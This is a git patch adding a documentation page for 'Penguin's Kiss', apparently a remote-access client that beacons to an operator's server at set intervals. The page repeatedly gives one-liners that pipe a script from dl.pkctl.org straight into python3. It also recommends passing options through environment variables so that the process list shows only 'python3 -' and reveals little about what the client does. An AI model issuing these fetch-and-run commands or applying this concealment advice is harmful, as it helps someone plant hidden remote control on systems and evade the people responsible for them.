From 20e78c828e3995371a5ed29f3f53514370b7c152 Mon Sep 17 00:00:00 2001 From: Carson Fleming Date: Fri, 24 Jan 2025 20:57:54 -0500 Subject: host docs here now --- client.php | 75 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 75 insertions(+) create mode 100644 client.php (limited to 'client.php') diff --git a/client.php b/client.php new file mode 100644 index 0000000..e9993f4 --- /dev/null +++ b/client.php @@ -0,0 +1,75 @@ + + + + + Client Configuration | Docs | Penguin's Kiss + + + +

As you may have noticed reading the precompiled scripts section, the client binary + allows configuration options to be passed in a number of ways. The first thing it + will look for, for any given option, is a specifically-named environment variable, + as this will not be visible in the process name. Failing this, the client will try + less subtle approaches, looking for positional command-line arguments, prompting + the standard input, and finally falling back to a preset default value (which you + may find it useful to alter the script in order to tweak if you don't want to + pass anything in through the alternative methods.) Generally your run command will + look something like:

+
curl -s https://dl.pkctl.org/pk.py | OPT1=val1 OPT2=val2... python3 -
+

This has the distinct advantage as only showing up as python3 - in the + process list, which leaves precious little to identify what it is actually doing. + For this reason, environment variable input is highly recommended.

+
+

HDB URL

+

Unless your server is using the default server key (not recommended), you will + need to specify a URL from which the server's public RSA key can be + fetched. The format of this file can be found in the + Hosts Database + section of the documentation.

+

Environment Variable Name: HDB

+

Command-Line Argument Order: first

+

Default Value: https://war.cflems.net/hosts.json

+

Usage:

+
curl -s https://dl.pkctl.org/pk.py | HDB=https://dl.pkctl.org/b8ca2180.json python3 -
+
+
+

TCP Host

+

This is the TCP host to which your client will attempt to connect at a specified + interval. You will most invariably want to specify or recode this parameter. + Port number is optional and specified with a colon in the hostname.

+

Environment Variable Name: HOST

+

Command-Line Argument Order: second

+

Default Value: sek.cflems.net:2236

+

Usage:

+
curl -s https://dl.pkctl.org/pk.py | HOST=raw.pkctl.org python3 -
+
+
+

Time to Sleep

+

This is the interval at which the client will wake up and attempt to establish + a connection to the remote server, if it does not succeed immediately. Unit is + seconds.

+

Environment Variable Name: TTS

+

Command-Line Argument Order: third

+

Default Value: 1800 (30 minutes)

+

Usage:

+
curl -s https://dl.pkctl.org/pk.py | TTS=86400 python3 -
+
+
+

RSA Bits

+

Can be used to turn down the bits used for RSA keys and messages for faster + operation at the expense of security. Needs to be synced between the client + and server. I recommend leaving this value alone.

+

Environment Variable Name: BITS

+

Command-Line Argument Order: fourth

+

Default Value: 4096

+

Usage:

+
curl -s https://dl.pkctl.org/pk.py | BITS=2048 python3 -
+
+ + -- cgit v1.2.3